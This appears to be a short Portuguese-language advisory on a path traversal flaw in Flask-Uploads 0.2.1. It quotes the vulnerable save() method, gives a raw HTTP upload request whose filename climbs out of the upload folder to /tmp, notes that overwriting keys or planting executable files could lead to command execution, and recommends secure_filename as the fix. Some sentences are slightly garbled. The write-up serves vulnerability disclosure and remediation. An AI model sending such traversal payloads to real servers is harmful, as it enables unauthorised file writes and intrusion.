
Demonstração de Path Traversal CWE-22 no Flask-Uploads 0.2.1. Apenas para fins educacionais e de pesquisa em segurança. Testado no Python 3.11.
Existe uma vulnerabilidade crítica de path traversal no Flask-Uploads versão 0.2.1. A biblioteca não sanitiza corretamente os nomes de arquivos enviados antes de salvá-los no sistema de arquivos.
Especificamente, o método save() em flask_uploads.py concatena diretamente o caminho de destino do upload com o nome de arquivo fornecido pelo usuário usando os.path.join(). Isso permite que um atacante inclua sequências de traversal de diretório (por exemplo, ) no nome do arquivo, possibilitando a gravação de arquivos em locais arbitrários no sistema de arquivos do servidor.
../../Arquivo: flask_uploads.py (Linha 132 na v0.2.1)
def save(self, storage, filename=None):
if filename is None:
filename = storage.filename
# VULNERABLE CODE: No sanitization of 'filename'
target = os.path.join(self.destination, filename)
storage.save(target)
return filename
A aplicação depende do desenvolvedor para sanitizar o nome do arquivo, mas a documentação da biblioteca sugere que ela lida com uploads de arquivos de forma segura. Por padrão, se um desenvolvedor passar um nome de arquivo bruto de uma requisição, isso leva a uma vulnerabilidade.
ssh_host_key, arquivos de configuração)..php, .py) para um diretório que é executado pelo servidor web (como cgi-bin ou uma pasta estática conhecida), um atacante pode executar comandos arbitrários no servidor.Um atacante pode explorar esta vulnerabilidade enviando uma requisição POST com um nome de arquivo especialmente elaborado:
POST /upload HTTP/1.1
Host: target.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
------WebKitFormBoundary
Content-Disposition: form-data; name="file"; filename="../../../../../tmp/pwned.txt"
Content-Type: text/plain
HACKED
------WebKitFormBoundary--
Se o servidor usar Flask-Uploads para salvar este arquivo, ele será gravado em /tmp/pwned.txt em vez do diretório de upload pretendido.
A biblioteca deve verificar se o caminho resultante está dentro do diretório pretendido usando os.path.abspath e startswith, ou sempre usar uma função de sanitização como werkzeug.utils.secure_filename.
Correção Recomendada:
from werkzeug.utils import secure_filename
# ...
filename = secure_filename(filename)
target = os.path.join(self.destination, filename)